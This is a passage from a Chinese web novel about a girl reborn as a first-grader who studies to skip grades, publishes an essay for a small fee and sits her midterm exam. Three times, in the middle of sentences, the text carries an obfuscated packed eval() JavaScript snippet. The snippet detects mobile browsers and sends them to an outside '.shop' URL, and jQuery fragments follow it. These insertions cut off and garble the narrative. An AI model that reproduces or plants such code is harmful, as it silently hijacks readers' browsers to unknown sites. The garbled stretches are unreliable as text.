回到家，大姐摘菜炒菜，二哥煮饭，筱芫想帮忙都被他们拒绝了。于是她在里屋坐了一会，又进了空间，开始看一到三年级的课本。她打算跳级，因为他们家不是本地人，上学要交很高的借读费，如果能跳级，就可以省下几年的借读费了。 看完一科就做一科的练习册，直到听见老妈的声音，她才放下笔连忙出去。 等爸爸回到家，一家人围坐在饭桌前，虽然只有简单的一盘青菜一碗卤豆干，但大家都吃得很香。 他们家习惯了在饭桌上说自己今天遇到的事，所以等大姐二哥说完学校学习的情况之后，筱芫犹豫了一会，还是开口说出自己的打算： “爸，妈，我想跳级。” 4. 说服 第四章说服家人 “什么？！”预料之中的，爸妈还有大姐二哥听到她那么说，都吓了一跳。 只见老妈皱着眉看了她好一会，似乎在确认她是不是认真的：“跳级？你从哪里知道可以跳级的？我怎么没听说？而且你才刚去上学……” 筱芫知道老妈在担心什么：“妈，我可以的。大姐二哥以前的课本我都跟着看过了，没有看不懂的。” “跳级应该只要和老师说，最多就是要考试吧？”她装作不太确定的样子，“如果真的能跳级，就可以省下几年的学费借读费了。” “还是不行！你才第一天上学，就算你姐你哥的书你能看懂又算得了什么？说不定别人幼儿园也都教过了！” 褚母知道自己小女儿算是聪明的孩子，但还是下意识觉得跳级什么的不太可能，尤其是她从来没听说过谁家孩子这么做过；在不确定跳级需要做什么，后面会遇到什么意外情况的前提下，她更希望稳妥一点。 褚父却不是这么想的，他听那些老板闲谈吹水的时候说过，跳级也不难，就是要考试，有个老板亲戚家的孩子就通过考试跳了级，被人夸成了天才，那老板在其他老板面前别提多有面子了。 “你真的想跳级？有多大把握啊？” 听到老爸开口，筱芫就觉得自己想要跳级的事基本稳了：“当然是真的！我今天去书店看三年级的练习题，很简单，我全都会做呢！” “不行，哪有人还没学会走路，就想着要飞上天的？”褚母犹豫了一下，依旧摇头，但是在她恳切的目光下，还是给了她一个机会，“你老老实实地好好上学，要是期中考能考双百，你哥你姐以前的试卷你能做出来，我就让你去试试。” “好！”筱芫没有多说什么话来强调自己的决心，但是一吃完饭，她就坐到了大姐二哥放以前的书和练习题的小角落里，埋头看起了一二年级的教科书。 别的地方她不清楚，不过他们这儿一二年级的考试只考语文和数学，到了三年级才会加上英语；不少课程内容幼儿园的时候老师就教过了。所以她从一年级跳级到三年级的打算不算出奇，也不会那么引人注目，毕竟不是没有先例。 正好三年级是数学难度升级的初期，适合她打基础。她上辈子数学差，大概就是从三年级开始埋下的隐患，这次她可不想重蹈覆辙，必须把基础好好打扎实才行。 “有哪里看不懂吗？”大姐帮着老妈洗好碗，顾不上做自己的作业，就先来看她了，眼底隐隐有些许担心之意，“今天上学感觉还好吗？” 筱芫刚好看完一二年级的教科书，听到大姐话里的担忧，笑嘻嘻地摇摇头：“姐，我都看得懂啦！没事，班里同学都挺好相处的；我就是想试试能不能直接上三年级，那样我就能快点变成大人了！” 她小的时候天天想着快点长大，可以想去哪玩就去哪玩，想吃什么就吃什么；可是等长大了，才知道小时候是多么美好的时光。 所以她这个理由成功地说服了大姐。大姐无奈地轻轻拍她的头：“你倒是胆子大，想一出是一出的。那你得答应，到时候试试归试试，不要太放在心上，知道吗？” 明白大姐是怕自己要是没通过跳级考试、自信心会受到打击，筱芫“嗯嗯”地点头答应了。 反正跳级考试她是一定要去考的，如果跳级到三年级的考试她都通过不了，那她别的雄心壮志的计划也可以歇歇了。 二哥正在写作业，中间抽空同情地看了她一眼：“你怎么这么想不开，觉得一二年级的学习简单，不是正好吗？可以多玩两年，上了三年级可就不一样了，作业会超级多，题目也超级难。” “我才不怕呢！”筱芫摆摆手，翻找了一会没找到，只好问她二哥，“哥，你跟姐以前做的练习题呢？三年级和三年级以前的。” “什么练习题？试卷吗？”二哥想了想，不确定地指着小阁楼道，“可能在楼上那个箱子最里边，你看看有没有。不过没有也没关系吧，试卷年年都不一样的，你们的课本说不定都改版了。” 筱芫也想起来了，但还是想看看题，练一下手感，反正印象中小学课本的知识点变化不大，到了初中和高中，课本改版的变化才大。 于是，她啪挞啪挞地爬上小阁楼，找到二哥说的箱子，翻了一下，果然看到了，大姐和二哥两个人合起来的试卷习题都不多，她索性全都抱着拿下去了。 不过下楼梯的时候她有那么点害怕，因为小阁楼是他们家自己弄起来的，梯子是用木板搭的，而且还相当陡峭，对于恐高的她而言，每次上下楼都是相当大的挑战。 重生不是万能的，至少不能让她不恐高——筱芫苦笑着想，纠结了一会，还是决定从心，先把试卷放在一边，两只手死死抓着梯子两边，每往下走一阶，确定站稳了，才把试卷往下挪一阶放。 她就这么龟速地，将试卷拿了下来。二哥看她这样，笑道：“这梯子也不高啊，还不到两米呢，怎么每次爬都怕成这样？” “我就是怕怎么啦？”筱芫有点不好意思，但想到恐高是生理反应，自己又控制不了，便理直气壮了，“怕高的人又不止我一个！而且不到两米也很高了。” “那是对你来说……啧，叫你平常吃饭像小鸡啄米似的，以后要长不高怎么办？”二哥抬头看了她一眼，可惜地摇了摇头，表情十分欠揍。 是了，他二哥虽然对她很好，但是嘴巴可欠了，总是爱逗她、惹她哭；筱芫隐约记得，自己有很长一段时间，天天被二哥和细弟气哭。【当然也有自己小时候比较脆弱敏感的原因。 重活一次的她别的没有，可好歹有被多年社畜生活磨练出的好气性，简单来说，就是比较能忍。所以二哥说的话对她来说不痛不痒，眼下最重要的就是准备好参加跳级考试，有生气的时间还不如多看会书做点题。 见爱哭包妹妹居然没因为自己的话气哭，褚维江有些意外，但是看到她认真地做试卷，像是真的打算跳级，也没故意去招惹她，低下头继续做起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628134|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了自己的作业。 “细姐，陪我玩……”“细赖儿*，不要吵你细姐，她要学习，啊，乖，你听话阿妈明天买块糖给你吃。” 正想过来拉筱芫去玩过家家游戏的细弟被褚母拦住了，然后带着他去了隔壁阿婆那；而褚父一吃完饭，就因为在家里坐不住，出去朋友家了。 于是，窄小的屋内很快安静下来，筱芫原本还有点浮躁的心绪也渐渐平静下来，做起试卷越发专注。 一年级的试卷不多，也很简单，她没花多少时间就全做了一遍；然后接着开始做二年级的。二年级的试卷和一年级试卷不同的地方还是有不少的，比如语文试卷的考笔划偏旁、按图写一段话之类的简单版作文题，还有数学试卷的九九乘法表、乘除算术题等。 不过难度都不高，只要细心一点，多半能全答对。 筱芫做完试卷后，又多看了一会考笔划偏旁的部分，然后把九九乘法表正着反着各背了一遍，才接着看三年级的课本和试卷。 三年级的语文试卷开始出现诗词鉴赏、阅读理解题还有作文题，数学试卷也开始出现了难度更高的计算题和解答题，英语是第一年，教的内容比较简单，考试的题目难度自然不会太高，但是单单听写题，就已经让初学英语的学生们头大如牛了。 她曾经也是被英语听写吓到的人其中之一。就算是现在，已经经历过一次的筱芫也不敢打包票能比上辈子学得更好。 慢慢来吧，只要自己能耐得住性子、沉下心来好好学慢慢学，总归会有所收获的。就是家里现在还没有条件买录音机，没法练习听力，也不知道空间里会不会有能练习听力的地方…… 她好像记得书架上有外国影片电视剧来着，按道理说，应该会有匹配可以播放的设施空间才对。 筱芫琢磨着晚上睡觉的时候可以试试进空间看看；拿定了主意，她就接着继续看手里的数学题了。 三年级开始考多位数的乘除法以及分数小数，这类题目只要不粗心，答错的可能性还是不大的。之前重新温习一遍课本的成果还不错，至少她做题的时候下笔刷刷刷的，没有被难住。 她十分满意地收起数学试卷，忽略掉自己其实是一个已经经历过一次九年义务教育、经受过高考“摧残”的“作弊”存在，做三年级数学题不被难住是多么正常的事实。 接着她又拿起了英语课本，先翻到最后边，一边默读一边把单词抄写了一遍。说实话，英语她上辈子学了十几年，也没有真正掌握，几乎是一不用考英语，她就把知识全还给了老师。 简单的单词，像是“apple、watch、body……”之类的她还勉强记得以外，语法什么的她都忘了，要是真考起试来，她估计还考不过初学英语的人。 没办法，她那个时候学英语完全是典型的哑巴英语，能死记硬背下来应付考试就不错了。筱芫心里嘀咕着，这辈子她也没打算把英语这一科学得多厉害，只要能维持在高考时不拖后腿的分数就可以了。 6. 收到稿费啦 第六章检验成果（一） “你这么快就把作业都做完了吗？”小同桌看她在练字，凑过来小声地问道。 筱芫点点头：“也没多少，做完了回家就不用做了。” 小同桌赞同道：“没错，可能是因为我们才一年级，老师布置的作业才不多。我哥他每天有好多作业，我都上床睡觉了，他还在做作业。好惨啊。” “是啊是啊，我姐也是！之前有一次，我还看到我姐她一边做作业一边哭，困得不行都不能睡呢！”这个话题显然引来了筱芫前桌的兴趣，他立刻转过身来插话道，脸上满是对未来的恐惧，“我们以后也会有这么多作业吗？” 想到上辈子自己确实不止一次因为困得不行、作业却做不完而哭，筱芫沉默了，然后愈发庆幸自己重生后有了个最适合自己学习需要的空间。 “很有可能。我哥我姐他们作业也很多，每天回去就开始写作业，都要写到很晚的。”庆幸完，筱芫没忘记肯定前桌的疑问，然后就看到他们不约而同地露出苦瓜脸： “不要啊！” “呃？不要什么？”年轻的班主任刘老师不知道什么时候出现在他们旁边，这突然出声，吓了他们一跳。 筱芫先反应过来，连忙摇头说没什么，小同桌和前桌小男生也跟着摇头。 脾气很好的班主任也没有计较，笑了一下就放过了他们：“现在是自习课，虽然不用上课，但也要安静看书做作业，不能吵到其他同学，知道吗？” “好，我们知道了老师。” 看他们乖乖听话，班主任满意地点头，又对着筱芫招手道：“筱芫，你跟我到办公室去，有东西要给你。” 顶着小同桌他们好奇的目光，筱芫跟在班主任后边，出了教室；一边走，她还一边暗暗期待会不会是上次投稿被录用了。虽然她自我感觉不错，但没得到录用通知和稿费，她不敢抱太大期望。 “筱芫，你什么时候向报社投的稿啊？自己写的，没有人教你吗？”班主任把她带到办公室，让她先坐着。 办公室里其他老师似乎也很感兴趣，都看向她，想看她怎么回答。 筱芫被这么多人看着，心里不免有点点紧张，同时也有点隐约的兴奋——班主任会这么说，应该是自己的文章被录用刊登了吧？ 她感觉脸有点热，但还是坚持抬头看向班主任，回答道：“没有，老师。我上个星期一投的稿。当时看到我哥带回家的报纸，上边有征稿启事。我就想试试看……是怎么了吗？” “没事，不用紧张，老师叫你来是有好消息，你的文章被报纸采用刊登了！稿费和送给你的这期报纸都送来了。”班主任笑眯眯地摸摸她的头，把放在办公桌上一个白色信封拿给她。 其他老师也都纷纷夸赞道： “才刚上学就能写出这么好的作文，真不错！” “很有天赋啊，刘老师，你运气真好，这么个语文的好苗子，可得好好培养！” 筱芫被夸得脸越来越热，心里像是揣了只兔子一样激动得不行，拿了信就想跑回班里，但是想到班主任没发话，就忍住了。 “下次投稿之前，可以拿来让老师帮你看看，有什么问题也可以找老师。”班主任说着，从抽屉里拿出一本书和一个本子递给她，“这是老师奖励你的，希望你以后继续加油。” “谢谢老师！”筱芫没想到还能收到老师的奖励，忍住激动，红着脸收下了书和笔记本，没好意思在办公室就翻开来看，所以就想着赶紧回班上，“那老师我先……” 看她脸红的像个小番茄，班主任和其他老师们也没再逗她，摆摆手让她可以回班上了；等看人都进了教室，才继续聊天。 一个老教师感叹道：“不得了啊，我看了那学生的作文，写得比不少六年级的学生都好。这才刚入学不到半学期呢！” “她语文数学都学得不错，而且我有几次看到她在自习课看其他年级的教科书。”刘老师对这个印象很深，毕竟她还是头一回看到，刚上小学的学生看四五年级的课本，而且看样子是真能看懂、不是看着玩。 其他班的老师不太相信：“不可能吧？会不会是你看错了？” “应该是真的，我也看到过一回，不过我以为她就是随便看看，所以没太放心上。”另一位102班的任课老师代替刘老师答道。 她也是一位老教师，曾经教过其他年级，去年才因为年纪大了、精力不济的原因自己申请调到一年级，“不过也不算奇怪，褚筱芫本来就晚了一年入学，她的哥哥姐姐成绩都不错，辅导自己妹妹功课、带着她预习高年级的课也很正常。” “啊，我想起来了，褚维江是吧？他确实还不错。”有哥哥姐姐辅导学习这个说法，成功得到了在场所有老师的认同。 接着，办公室里的话题很快就从“聪明学生”转移到了其他地方。 已经回到班上的筱芫对此一无所知，但是好奇心中的班上同学都偷偷看她，想知道班主任找她做什么。 和她比较熟的小同桌也很好奇，筱芫努力装作平静的样子，把老师奖励给自己的书放到桌上，其他的先收到了书包里：“没什么，老师看我作业写完了，拿了本书给我，让我多学点。” 这话一出，周围好奇的视线一下子都移开了。现在的同学都还是小孩子，有空闲的时候都想着玩，少有愿意一直学习的；就连小同桌，也信了她的话，顿时失去了继续问的兴趣。 考虑到自己是打算跳级的，跳级成功前，她不想惹来太多关注。这也是她刚刚看到老师们的反应，才想到的，刚上小学一年级就能写文投稿，好像是有点引人注目。 不过还好，她投的是《小学生周刊》，没有超出普通学生能力，再加上家里人都知道，她从开始认字就喜欢翻书翻报纸看。老师那边一问就知道，逻辑上很能说通，不会被人看出自己重生的事。 于是，筱芫放下心来，又继续练字帖；她打算在放学前，把这一本只剩下几页的字帖写完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628136|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 练字能让人静心。点、横、竖、撇……一笔一笔地慢慢写着，她原本激动的心情也渐渐平静下来。 “铃铃铃” 放学铃一响，班主任就出现在门口，不厌其烦地叮嘱着每天放学都要说一遍的话：“安排到今天值日的同学记得做值日，其他同学放学了就回家，不要在外边玩得忘了时间。路上注意安全，知道了吗？” “知道啦！”书包都背好了的同学们大声回答道，看到班主任摆摆手，性急的几个男生立刻争先恐后地窜出了教室。 “老师再见！” 出教室的同学们稀稀落落地与班主任说再见，筱芫也跟着喊了，才慢慢地走出校门。大姐二哥没那么早放学，她现在基本都是自己先回家，不过她没有钥匙，所以要到邻居那里，等家里人回来。 到了家门口，门紧闭着。果然，老妈没那么早回来。筱芫没有多少失望的情绪，从书包里翻出已经写完的字帖本，垫在屁股底下，然后先拿出信封小心地拆开。 里边是一份报纸还有一张稿费取款单，取款通知单上写着——请携带本人有效证件于2001年11月03号前到xx邮政局（所）取款，汇款金额25元，下边还有她的姓名之类的信息。 筱芫又仔细地看了一遍稿费取款单，才压抑着兴奋的心情把它放回信封里边，展开报纸看自己被刊登的文。 几百字的作文，在报纸上也就是个小豆腐块，她找了一会就看到了。看到自己写的文变成报纸上的铅字，这种感觉真好！ 又看了一会，筱芫心情很好地把报纸也收了起来，开始翻看班主任送给她的书和笔记本。 笔记本是普通的软装本，也不厚，但是用来做笔记刚刚好，正好她准备把小学的知识点整理重新写一遍。 书是《伊索寓言》，是筱芫上辈子看过的，不过重生之后顾着学习做题，还没看过，正好可以再看看。 “细妹，怎么在门口等？不是让你先去隔壁阿婆家等吗？” 听到老妈的声音，筱芫连忙放好东西站起来，高兴地喊了声：“妈！你们回来啦！”她一边说着，一边伸手帮着扶稳自行车，让细弟从后车座下来。 褚母看她这么高兴，有点奇怪，但是也没急着问，先开门把车推到屋里停好，然后连坐都没坐就开始准备做晚饭。 细弟撒欢地跑进屋里。 听着他闹腾的动静，筱芫抿抿嘴，忍着不露出太夸张的笑容，从书包里拿出信封：“妈，我今天拿到稿费了！我写的作文被刊登在报纸上啦！” “呃？”褚母刚下好米煮粥，转身准备去择菜，就听到了小女儿的话，顿时愣住了，还以为自己听错了，直到看见小女儿手里的信封，才欣喜道，“真的？！有报纸吗？快让妈看看！” 筱芫笑眯眯地指了指信封：“当然有！报社送稿费的时候给了一份报纸，就在里头。” “什么就在里头？”大姐二哥也都回来了，听到筱芫说的话，好奇道。 7. 期中考 第七章检验成果（二） “细妹的作文被刊登在报纸上啦！稿费都送来了！”褚母十分高兴地说道，她识字不多，但还是盯着报纸认认真真地看了好几遍，才不舍地让给他们，接着又拿着稿费取款单来回看，“有25块钱稿费呢，咱们细妹真厉害！妈都不知道，不然应该多买点肉回来庆祝一下。” “不用啦，妈，我以后会赚更多稿费的！以后咱们家天天都能吃肉、好多好多肉！”筱芫眼睛有点热，暗暗捏了捏拳头，装作单纯想吃肉的样子、十分认真地承诺道。 “哈哈哈哈！”“好啊好啊，那妈就等着！”“不要肉肉要鸡腿！”大姐二哥的笑声、老妈的期待还有细弟的撒娇，让小小的狭窄的屋子里充满了温馨。 就是为了留住这样的温馨，她才会那么努力啊。筱芫想着，也跟着露出了傻乎乎的笑。 晚饭快要做好的时候，褚父才终于回到家；满脸疲惫的他看到桌上放着的报纸和取款单，原本累得有点暴躁想发脾气的他，心情顿时好了起来：“细妹居然已经能拿稿费了啊，不错！” “嗯，爸，明天下课你来接我吧，我想去邮局把钱取出来。其实也可以晚一点再取，但是我怕到时候忘了。”筱芫顺势说道，她还没有身份证，要去取稿费只能用户口本；再加上她不记得这个时候的邮局在哪里，所以只能让老爸带她去。 等以后认得路了，她也可以自己去。 领到了第一次稿费，筱芫拿着钱去买了一条头绳还有两支笔两本本子，给老妈老爸，还买了点糖跟大姐二哥细弟一起吃。 剩下十五块她偷偷塞给了老妈：“妈，你帮我把钱存着，等存够了咱们就去买房子住！” 她故意十分孩子气地不许老妈拿钱去买肉，也不答应让老爸知道。虽然知道老妈多半没放在心上，但只要她以后赚的稿费多了，老妈肯定会改变主意的。 在期中考之前，她又写了两篇去投稿，还是投给《小学生周刊》，虽然稿费不算多，但对于后边跳级还有升学考都有帮助，又不会太引人瞩目，算是最合适的了。 学习上，她依旧有条不紊地按照自己的计划进行预习、复习、练习，整个小学的知识点脉络总结已经做好了，接下来就是按照整理好的知识点脉络重做笔记。 自从她往家里拿回一次稿费，老爸老妈、还有大姐二哥似乎都相信了她能通过跳级考试，所以特别紧张她，生怕影响了她学习和写作文。 老爸不但不许细弟打搅她，还想把家里唯一一张小办公桌安排给她用。以前这张桌子，都是大姐二哥写作业的时候一起用的。 筱芫觉得不太好，反正她在饭桌或者凳子上写作业和作文也习惯了；就为了自己一个人，影响大姐和二哥的学习，不太好。 所以在她的极力反对下，小办公桌还是大姐跟二哥用，她则是从坐地上用凳子作桌子，改成了坐在饭桌前学习。 为了这辈子不再近视，筱芫很是注意眼睛的休息，不管是在学校还是在家，都会学习一段时间，就闭眼休息或者出去看看远处的绿树草丛。 他们这个地方这个时候还没怎么进行城镇化开发，还有很多地方是农田，路也都是土路、泥路，两边都长满了不知名的杂草杂花、以及低矮的小树丛，看上去倒是挺好看的；就是蛇虫鼠蚁也喜欢藏在这些地方，所以大人们经常会警告小孩不要跑到里边去。 等到她快上初中的时候，这些农田、树丛杂草就会都没了，取而代之的是开阔的水泥地、水泥路，还有露天的篮球场、乒乓球场和老人儿童的活动中心。 时间就在筱芫每日满满的学习安排中度过，很快就到了他们小学期中考试前。 “大家静一静！”班主任的声音从讲台上传来，正趁着课间休息嬉笑玩闹的、最调皮的几个同学也在班主任的视线下，连忙坐回自己的座位。 等大家都安静下来，班主任才接着宣布道： “这周的周五，也就是后天，我们要进行期中考试。大家明天记得把自己的书本东西全都带回家，因为到时候有部分桌椅要搬到别的教室用，所以不带回去的话，可能会丢了。东西要是多的话，今天就可以先带一些回去了，知道了吗？” “啊——考试？！”刚刚上学不久的同学们已经在老师和其他年级那里，知道了考试是多么可怕的一件事，听到班主任说后天就考，顿时不约而同地哀叹出声。 班主任依旧笑眯眯的，说出的话却十分“无情”：“是啊，考试，这是你们上学之后第一次考试，成绩会有全级排名，到时候成绩单和试卷是需要你们拿回家给家长签名的。所以你们要努力啦，加油考个好成绩！” “啊……” 班主任交代完期中考的事情，就施施然地出了教室，把讲台还给下一节课的任课老师。 但是哪怕上课铃响了，数学老师开始讲课了，教室里消沉的情绪还是弥漫不去。而终于听到要期中考，筱芫捏了下手心，有种莫名的激动。 老妈说过的——期中考之后，就带她去找学校老师说要跳级的事。不能太想当然，到时候自己要是因为骄傲自满，没通过跳级考试就不好了。 筱芫深吸了口气，不再瞎想来想去，那都是以后的事，现在还是好好上课，就算都自学过了、课本内容简单，跟着老师讲课再学一遍也不坏。 果不其然，跟着老师又学了一遍，筱芫检查之前做的课后题，才发现她又马虎地弄错了一个数字。 虽然不是什么大问题，她也改正了，但是它就像闷棍一样猛地敲醒了她，因为稿件刊登在报纸上，被老师和家里大家夸奖得有些浮躁自满的情绪，在这一刻终于消散了许多。 她重新变得冷静，什么都不想，上课时继续专心听课，下课了就继续做作业、复习功课，仔细地回头检查之前做的题，查漏补缺。 看到她这么认真，小同桌和前后桌的同学不知为何有些瑟瑟发抖，然后下意识也跟着安静下来做起了作业。 周围的其他同学看到他们这么认真，还以为上课铃已经响了，也跟着翻开书装作认真复习。 于是，等到美术老师来上课的时候，看见的就是整个班的学生都十分安静乖巧地，或看书或写作业。连平日最爱闹腾的调皮男生也乖乖坐着，弄得她险些以为自己走错了教室。 愣了一会，她才回过神，轻咳两声：“上课！” “起立！”“老-师-好！” 师生互相问完好，美术老师大概也知道他们要考试了，头一回考试（除了小学入学考）可能有点紧张，所以这节课就没有教他们画什么，让他们自习。 一年级的课程安排就是这么宽松。本来他们小学每周一下午最后一节课都是自习，自然科学课、美术课、音乐课和手工课基本上只会上半节课，然后半节课自习。等到了四年级之后，他们就没有手工课了，自然科学课也经常会被语数英三个主课替代掉。 筱芫一边想着，一边把还没翻开的美术书收起来，然后拿出课本和练习题，放慢速度重新看一遍。 本来想找她聊天的小同桌：……溜了溜了 放学后，筱芫把桌子里边的其他科目的课本，还有还没用的练习簿都塞进了书包里，然后试着拎了一下，呃，有点沉。但是想到明天还得搬桌子，加上她原本的打算……想了想，她还是决定把它们都背回去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628137|187976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但是为了防止以后长不高，筱芫回到家，在门口把书包放下后，就原地蹦了十几下。一边蹦，她还没忘记一边背之前记的英语单词。 晚上吃完饭，褚母趁孩子们都在里屋，拉着褚父走到屋门外，商量起小女儿说要跳级的事：“孩他爹，不然你这两天先找人问问申请跳级是要怎么弄？我看细妹是认真打算要跳级的，天天看书，都不和她弟弟玩，星期六日也不出去。” 褚父抽了口烟道：“之前她说想跳级，我就问过了。有个老板说他老婆三姨家的孩子就跳过级。说是那孩子几门课次次考试都是满分，老师觉得他可以上更高年级，就和学校教导主任说了，然后学校主任和他家长联系之后，去学校参加了一次跳级考试，又考了满分，这才让校长拍板同意跳级了。” 说完，褚父沉默了一会，不放心道：“细妹她都没考过试，也不知道成绩怎么样。要是到时候我去说了，她没考过怎么办？” “总之咱们先准备着，这不是要期中考了吗？”褚母是知道自家小女儿学习多用功的，信心反而比他要足，“出了成绩再去就是了。再说，细妹才刚入学，写的作文就能被选上刊登出来，不比你说的那孩子差。反正试试而已，咱们不说出去，谁知道？” 褚母说了一通，看褚父还有点犹豫、怕丢面子，索性道：“算了，你要是不想去找老师说，那到时候就我去说！” “哎，我怎么就不想去说了。行行行，等细妹期中考成绩出来，成绩不错我就去找她老师说。”见褚母这么说了，褚父才连忙说道。 这一场父母间的对话争执，在屋里的筱芫他们全然不知的情况下落下帷幕。很快，转眼就到了期中考试这一天。 大姐二哥今天也要进行期中考试，所以放学会早一点，他们可以一起回家。说好考完试在校门口等着一起回去之后，姐弟三人就分开了。 筱芫在考试分班表找到自己的名字，然后就去找自己分到的考室了。也不难找，上了二楼右转第一间教室就是了。 给老师看了下学生证，她走进教室找到自己的位置坐好，等着一会响铃老师发试卷。 因为只是普通的期中考，考场的很多要求并不严格，筱芫还听到自己身后有人在说话嬉笑。 又过了好一会，考试铃响，站在讲台上的老师开始分发试卷，发完试卷，他先是让大家检查试卷有没有错漏缺页的情况，没有的话就把姓名班级座位号填上。 广播里传来念考场守则的声音，筱芫一边听着，一边看发下来的语文试卷，等到广播结束，老师说可以开始作答，她立即拿起笔，飞快地写完一道又一道题。 几乎没用半个小时，她就已经做完了题目又重头到尾检查了一遍了。因为他们这不提倡提前交卷，所以筱芫只能多检查几次试卷，杜绝任何因为粗心大意出现的扣分。 接下来第二场的数学考试也是一样，尽管她对数学更谨慎、做题速度更慢一些，也还是提前很多时间做完。为了让自己不眼神四处转、引来监考老师关注，她只好一心盯着自己的试卷，反复检查。 不用考英语的一二年级上午考完就可以直接放学了；而三年级到六年级则还要等下午考英语，他们小学这会的英语听力考试还是用广播，等到了初中才用耳机做听力。 “叮铃铃铃——” 筱芫交了试卷，跟着人流出教室、下楼，然后在捐赠光荣碑前站着等了一会儿，想了想，还是决定先回102，和其他人一起把桌椅搬回原位。 收拾得差不多的时候，班主任就让她们可以放学回家了；想到跳级的事，筱芫没急着走，想试着问问班主任申请跳级还有跳级考试的事。 8. 跳级考试 第八章跳级考试 “你想跳级？”没想到班主任对她的发问竟然没多少意外的样子，筱芫有点奇怪，不知道是不是自己想太多了，但还是把自己斟酌了很久的理由说出来： “嗯嗯，老师，我把我大姐二哥的课本都看完了，还试着做过一点试卷，觉得不太难。而且我家里穷，如果能跳级到三年级，就可以省一两年学费和学杂费。” “啊，老师知道了，那你和家里人说过了？”班主任看她点头，才接着说道，“老师知道你已经在学其他年级的课，但主任跟校长他们不知道，所以最后等你期中考成绩出来了，再说跳级的事，会更好一点。” 班主任的声音很温和，语气里有明显的安抚之意：“到时候学校这边可能会让你做几张试卷，来确定你的水平。你不用紧张，就当试一试。这几天你先好好考虑，如果真决定了要跳级，就让你爸妈来学校找我，我再和主任那边说。” “好的，老师，我知道了。”筱芫点点头，虽然心里已经打定主意要跳级，但知道班主任是在替她考虑，自然不会不接受这番好意，“那再见啦，老师，我回家了！” “再见。”班主任也朝她挥挥手。 等看着学生走远了，刘老师收回视线，回到办公室，在一沓试卷里翻了一会，找到写着“褚筱芫”名字的试卷，抽出来先进行批改评分。 一批改试卷，她就知道这份试卷应该能拿到满分，最后一算也确实是满分。 刘老师又重点看了看学生容易出错的几个失分点，比如容易粗心大意写错、漏写标点符号的地方，也都挑不出错；再加上卷面比其他学生要整洁工整，实在让人没法忍心硬扣分。 中午老师们都不回去，准备把试卷改完，有老师下午还得去监考其他年级。 教101、102两个班的数学老师何老师是名教书多年的老教师，批改试卷的速度更快，才刚考完不出一个钟头，她就把两个班的试卷都批改好了。 “何老师，102班的褚筱芫考得怎么样？”还在批改试卷的刘老师听到何老师说试卷改好了，连忙问道。 何老师翻开102班的卷子看了眼，答道：“100分满分。” 接着，她又皱眉不满道，“这次两个班满分的还不到一半，看来上课都没好好听，这么简单的卷子，还有学生考不及格！这才一年级就这样，后边可怎么办哟。” “是啊，这是学习不肯用心的问题，确实得批评他们一顿。等下周一上班会课，我好好说说他们。”刘老师看着眼前的试卷，也无奈地叹了口气。这些学生最大不过九岁，还都是爱玩爱闹的孩子，要管教起来真的挺难的。 倒是褚筱芫这个学生……一年级考双百满分不难，三年级就不一样了。如果真的跳级，会不会跟不上进度？ 别的倒没什么，就怕学生一次考得不好受到打击，再也起不来……她虽然教书没几年，但也见到过这种“伤仲永”的例子，所以不免有点担心这个她喜欢的学生。 想了许久，她还是决定先去找教导主任说一说这事，看看教导主任怎么说。 教导主任也在办公室里批改试卷，他带的是高年级，上课的班又多，下午还得巡查考场，所以正趁没人找他，抓紧时间多批改几份试卷。 看到有老师过来，神情看着是有事要说，他放下笔，主动问道：“你是一年级的刘老师吧？先坐，怎么了，出什么事了吗？” 教导主任是主管学校纪律的，所以一看到有当班主任的老师来找他，他就想到是有哪个学生调皮捣蛋惹了事或者气哭了老师之类的。 “是，主任。”刘老师毕竟才刚当老师没几年，有点面嫩，对着算是自己上级的主任也有点紧张，所以没敢好意思坐，直摆摆手解释道，“不是不是，我们班学生虽然有几个比较调皮好动，但都是好孩子，怎么可能惹事。” “主任，我来是想来问问，咱们学校允不允许学生跳级？”看到教导主任疑惑的眼神，刘老师又连忙说出自己的来意。 教导主任楞了一下：“嗯？跳级？” “是啊，我们班有个学生，就是那个入学没两个月，投稿到《小学生周刊》的作文就被刊登了的那个学生。她成绩也不错，这次两门科目都考了满分，平时上课也很认真，私底下还在自学，已经自学到四年级了。”刘老师没有表露出自己心里的担忧，说的都是学生好的表现。 “嗯……咱们学校是没有过跳级的先例的。”教导主任考虑了一会，摆摆手让刘老师不用着急，他话还没说完，“不过如果真的像你说的一样，那学生十分优秀，那也不是不可以。但是必须让学校先出题考一考，能通过再说。就下周一上午来吧，正好让我看看那个学生。” 下周一？刘老师犹豫片刻，还是点点头答应道：“主任您说得对，那我下周一学生回校上课了，我就带她过来。” 